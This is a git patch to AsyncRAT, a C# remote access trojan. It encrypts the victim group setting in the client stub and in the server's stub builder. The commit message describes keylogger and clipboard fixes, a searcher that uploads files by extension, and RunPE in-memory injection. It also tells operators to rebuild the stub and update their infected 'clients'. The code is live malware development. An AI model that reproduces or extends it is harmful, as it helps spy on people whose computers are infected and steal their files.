From dfa505e2affceb023f0cad6c6e49d6a30a9651b7 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Wed, 22 Apr 2020 05:24:30 +0300 Subject: [PATCH] Update fixed send to disk fixed keylogger [clipboard] #172 fixed installation added file searcher [to search and upload any file by it extension] added group to listview updated plugin save method updated runpe send to memory minor improvements ## NOTE You need to create a new stub from this version, and then use your old version to update all your clients, otherwise, you won't be able to use the new plugins --- AsyncRAT-C#/Client/Settings.cs | 3 ++- AsyncRAT-C#/Server/Forms/FormBuilder.cs | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index 4bd633f8..cac0cb74 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -46,7 +46,7 @@ public static class Settings public static Aes256 aes256; public static string Pastebin = "%Pastebin%"; public static string BDOS = "%BDOS%"; - public static string Hwid = ""; + public static string Hwid = null; public static string Delay = "%Delay%"; public static string Group = "%Group%"; #endif @@ -69,6 +69,7 @@ public static bool InitializeSettings() Pastebin = aes256.Decrypt(Pastebin); Anti = aes256.Decrypt(Anti); BDOS = aes256.Decrypt(BDOS); + Group = aes256.Decrypt(Group); Hwid = HwidGen.HWID(); Serversignature = aes256.Decrypt(Serversignature); ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate))); diff --git a/AsyncRAT-C#/Server/Forms/FormBuilder.cs b/AsyncRAT-C#/Server/Forms/FormBuilder.cs index e30eeaf2..03f10ab8 100644 --- a/AsyncRAT-C#/Server/Forms/FormBuilder.cs +++ b/AsyncRAT-C#/Server/Forms/FormBuilder.cs @@ -450,7 +450,7 @@ private void WriteSettings(ModuleDefMD asmDef, string AsmName) method.Body.Instructions[i].Operand = numDelay.Value.ToString(); if (method.Body.Instructions[i].Operand.ToString() == "%Group%") - method.Body.Instructions[i].Operand = txtGroup.Text; + method.Body.Instructions[i].Operand = aes.Encrypt(txtGroup.Text); } } }